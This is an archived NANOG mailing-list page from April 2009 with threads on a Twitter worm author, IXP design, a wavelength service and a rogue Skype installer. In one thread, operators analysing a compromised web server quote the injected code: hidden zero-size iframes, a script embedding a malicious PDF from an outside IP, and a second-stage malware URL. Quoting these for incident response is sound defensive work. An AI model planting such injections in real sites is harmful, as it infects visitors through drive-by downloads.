- NANOG - lists.nanog.org

Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing
by Chaim Rieger 20 Apr '09

20 Apr '09

And I want cnet to not report this crap. They glamorise it. ------Original Message------ From: andrew.wallace To: nanog(a)nanog.org To: n3td3v Subject: Re: Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing Sent: Apr 17, 2009 18:38 So if Al-Qaeda blow up a shopping centre and the guy who masterminded it turns out to be 17 he gets a job in MI5? OH MY GOD. On Sat, Apr 18, 2009 at 2:28 AM, Jack Bates <jbates(a)brightok.net> wrote: > andrew.wallace wrote: >> >> I want this individual made an example of and im not joking. >> > > And I'd like an example made of companies that ignore reports of security > flaws and leave their customers open to such worms; not to mention giving > the impression to misguided teenagers that the only way they will be heard > is to release a worm. > > Historically, I believe some companies have ignored security concerns until > someone (sometimes non-maliciously) released a worm. Of course, even > non-malicious worms can have unpredictable results which result in > catastrophic behavior. The earliest examples predate my residence on the > network, but I've read a small bug made them extremely bad. > > Jack > > Sent via BlackBerry from T-Mobile

5 5

Re: Malicious code just found on web server 13E-7EB
by Jake Mailinglists 20 Apr '09

20 Apr '09

On Mon, Apr 20, 2009 at 10:42 AM, Jake Mailinglists <jbabbinlists(a)gmail.com>wrote: > Paul, > I noticed that in the PDF file but as the domain doesn't seem to have > resolution I didn't mention it. > > Jake > > WHOIS information on the domain > > Whois Record > > domain: TEST1.RU > type: CORPORATE > nserver: ns1.centerhost.ru. > nserver: ns1.cetis.ru. > state: REGISTERED, DELEGATED > org: Center of Effective Technologies and Systems CETIS > phone: +7 4957711654 > fax-no: +7 4957879251 > e-mail: <http://www.domaintools.com/registrant-search/?email=f6261250d87c80094b7a5eb…> > e-mail: <http://www.domaintools.com/registrant-search/?email=acac76ec2f649d85219bdf7…> > registrar: REGRU-REG-RIPN > created: 2001.03.30 > paid-till: 2010.04.03 > source: TC-RIPN > > Registry Data Created: 2001-03-30 Expires: 2010-04-03 Whois Server: > whois.ripn.net > Server Data Domain Status: Registered And No Website > > > On Fri, Apr 17, 2009 at 9:06 PM, Paul Ferguson <fergdawgster(a)gmail.com>wrote: > >> -----BEGIN PGP SIGNED MESSAGE----- >> Hash: SHA1 >> >> On Fri, Apr 17, 2009 at 3:06 PM, Chris Mills <securinate(a)gmail.com> >> wrote: >> >> >> >> I took a quick look at the code... formatted it in a pastebin here: >> >> http://pastebin.com/m7b50be54 >> >> >> >> That javascript writes this to the page (URL obscured): >> >> document.write("<embed >> >> src=\"hXXp:// >> 77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown|<http://77.92.158.122/webmail/inc/web/include/spl.php?stat=Unknown%7C> >> >> U nknown|US|1.2.3.4\" width=\"0\" height=\"0\" >> >> type=\"application/pdf\"></embed>"); >> >> >> >> The 1.2.3.4 in the URL is my public IP address (I changed that). >> >> >> >> Below the javascript, it grabs a PDF: >> >> <embed src="include/two.pdf" width="1" height="0" >> >> style="border:none"></embed> >> >> >> >> That PDF is on the site, I haven't looked at it yet though. >> >> >> >> Not only is that .pdf malicious, when "executed" it also fetches >> additional >> malware from: >> >> hxxp:// test1.ru /1.1.1/load.php >> >> If that host is not in your block list, it should be -- known purveyor of >> crimeware. >> >> This is in addition to the other malicious URLs mentioned in this thread. >> >> - - ferg >> >> -----BEGIN PGP SIGNATURE----- >> Version: PGP Desktop 9.5.3 (Build 5003) >> >> wj8DBQFJ6Seaq1pz9mNUZTMRAsePAJ4ltJybvyViJoiTJDbIN9JCMjbZtgCgtOnI >> mxM8Ci/feKnJe6M6qbiESPw= >> =b0Yj >> -----END PGP SIGNATURE----- >> >> >> >> -- >> "Fergie", a.k.a. Paul Ferguson >> Engineering Architecture for the Internet >> fergdawgster(at)gmail.com >> ferg's tech blog: http://fergdawg.blogspot.com/ >> >> >

1 0

RE: Malicious code just found on web server
by Russell Berg 20 Apr '09

20 Apr '09

FWIW, 77.92.158.122 resolves to mail.yarisfest.com, not mail.yaris.com -----Original Message----- From: Russell Berg Sent: Friday, April 17, 2009 3:39 PM To: 'nanog(a)nanog.org' Subject: Malicious code just found on web server We just discovered what we suspect is malicious code appended to all index.html files on our web server as of the 11:00 central time hour today: src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> <iframe src="http://77.92.158.122/webmail/inc/web/index.php" style="display: none;" height="0" width="0"></iframe> </body> </html> IP address resolves to mail.yaris.com; couldn't find any A/V site references to this. Google search reveals some Chinese sites with references to the URL today, but nothing substantial in the translation. Just a heads up for folks; we have a team investigating... Russell Berg Dir - Product Development Airstream Communications berg(a)wins.net 715-832-3726

4 7

So I've got this 2.5gig wave, what do I do with it?
by will＠loopfree.net 20 Apr '09

20 Apr '09

Due to the vagaries of telecom pricing, I've ended up with a 2.5gig wavelength service between two locations when what I really wanted was a gig-e or two. I'm really not sure if this is a "transparent" wave service or not... the carrier is using gear from Ciena to hand it off to us and they seem to be big on transparent waves, so maybe it is, but nobody seems to be able to say for sure. So, how can I best make use of this beast in my ethernet-centered world? 1- Since it doesn't cost me anything, I'm going to try to send a gigabit LX signal and see what happens. The handoff from the carrier to me seems to be a plain 1310 type of signal... Light goes on, light goes off, maybe the carrier's gear doesn't care that it's not modulating "fast enough" and I'll get lucky? 2- MRV's EM2009-GM2 card takes 2xGE and spits out a 2.5G signal of some sort. However they won't guarantee me that it'll work when talking to the Ciana card the carrier is using. I should probably inquire about their return policy and go for it. The SFPs they spec on the trunk side are the same as those for OC48, so as long as my wave is transparent and not expecting OC48 framing I'm thinking this would work. 3- I can buy an OC48 box and mux some GE onto it with GFP/VCAT. Expensive and overcomplicated since I don't need anything but ethernet. Anyone have some clue for me? I'm starting to wish we'd just jumped to 10G waves since at least there it's clear how to interop with 10gig ethernet. -Will Orton will(a)loopfree.net

6 6

Re: SkypeSetup Rogue Download
by Mari Nichols 20 Apr '09

20 Apr '09

I believe the file is originating directly from Skype. Our writer stated that he had tried download.com's version and it was clean against VT. I'm on ISC handler duty today, just wondering if anyone had seen this happening. Mari Nichols HoD ________________________________ From: Paul Ferguson <fergdawgster(a)gmail.com> To: Mari Nichols <mari(a)imarsolutions.com> Sent: Sunday, April 19, 2009 4:31:06 PM Subject: Re: SkypeSetup Rogue Download -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Sun, Apr 19, 2009 at 12:55 PM, Mari Nichols <mari(a)imarsolutions.com> wrote: > Has anyone seen anything like this? > > http://www.virustotal.com/analisis/f58203f8d5cb98628eaa785e27c9e059 > Hi, Could you provide the URL where that file is located? Thanks, - - ferg -----BEGIN PGP SIGNATURE----- Version: PGP Desktop 9.5.3 (Build 5003) wj8DBQFJ64oEq1pz9mNUZTMRAs4MAJ9x8vwDJzMEnci72jEK7hNEd2NmdQCfRUgE B4Se4ZXdcTaoT4h1SHfmC4Q= =wXNG -----END PGP SIGNATURE----- -- "Fergie", a.k.a. Paul Ferguson Engineering Architecture for the Internet fergdawgster(at)gmail.com ferg's tech blog: http://fergdawg.blogspot.com/

4 3

Re: google noc
by John Martinez 20 Apr '09

20 Apr '09

issue has been resolved. Thanks to all that responded. Stephen Stuart wrote: >> Anyone have any contact information for the google noc or adsense noc? >> Thanks in advance. > > Did you send email <noc(a)google.com>?

1 0

SkypeSetup Rogue Download
by Mari Nichols 19 Apr '09

19 Apr '09

Has anyone seen anything like this? http://www.virustotal.com/analisis/f58203f8d5cb98628eaa785e27c9e059

1 0

Re: IXP
by Deepak Jain 19 Apr '09

19 Apr '09

Remember when you didn't want to put in ACLs because you'd blow out the cpu on the router/card? Ahhhhh... That made networking fun! Deepak ----- Original Message ----- From: Jeff Young <young(a)jsyoung.net> To: Nick Hilliard <nick(a)foobar.org> Cc: Paul Vixie <vixie(a)isc.org>; nanog(a)merit.edu <nanog(a)merit.edu> Sent: Sat Apr 18 20:45:48 2009 Subject: Re: IXP Best solution I ever saw to an 'unintended' third-party peering was devised by a pretty brilliant guy (who can pipe up if he's listening). When he discovered traffic loads coming from non-peers he'd drop in an ACL that blocked everything except ICMP - then tell the NOC to route the call to his desk with the third party finally gave up troubleshooting and called in... fun memories of the NAPs... jy On Apr 18, 2009, at 11:35 AM, Nick Hilliard wrote: > On 18/04/2009 01:08, Paul Vixie wrote: >> i've spent more than several late nights and long weekends dealing >> with >> the problems of shared multiaccess IXP networks. broadcast storms, >> poisoned ARP, pointing default, unintended third party BGP, >> unintended >> spanning tree, semitranslucent loops, unauthorized IXP LAN >> extension... >> all to watch the largest flows move off to PNI as soon as somebody's >> port was getting full. >

2 1

Re: IXP
by Stephen Stuart 18 Apr '09

18 Apr '09

> Stephen, that's a straw-man argument. Nobody's arguing against > VLANs. Paul's argument was that VLANs rendered shared subnets > obsolete, and everybody else has been rebutting that. Not saying that > VLANs shouldn't be used. I believe shared VLANs for IXP interconnect are obsolete. Whether they get retired in favor of modern technology is another question, a business question. About a year and a half ago, I built something much like the alternative being discussed as a community service project; pseudo-wire services for VNIs (participants can encrypt or not depending on their need), and a shared L3 cloud with private ASN numbering to provide inter-participant IP connectivity and some shared transit. The fabric survives fiber cuts without any disruption in connectivity (I didn't get to spec the fiber paths, so there are some places where the "ring" collapses into a single fiber bundle); everyone's HIPAA and FERPA concerns were met at the design phase; user-visible problems have been few, and problem diagnosis has been simple. There aren't a lot of participants, so I didn't do much in the way of self-service automation for provisioning, but I can see where it would be fairly straightforward and nicely scalable. If I were back in the IXP business, building a distributed metro-area fabric, that's how I'd do it, and I'd invest in automated, self-service provisioning. There would be no shared VLAN. I predict that the network would be more reliable, and could be operated more cost-efficiently as a result.

1 0

Michael Mooney releases another worm: Law Enforcement / Intelligence Agency's do nothing
by andrew.wallace 18 Apr '09

18 Apr '09

by n3td3v April 17, 2009 5:43 PM PDT "The teenager who takes credit for the worms that hit Twitter earlier this week has been hired by a Web application development firm and on Friday released a fifth worm on the microblogging site, he said." I hope the FBI nip him in the bud, this cannot continue, this needs to be made an example of. I want Law enforcement / Intelligence agency's to take control of the situation, now. http://news.cnet.com/8618-1009_3-10222373.html?communityId=2114&targetCommu… I want this individual made an example of and im not joking. Many thanks, Andrew Intelligencer & Founder of n3td3v British

6 8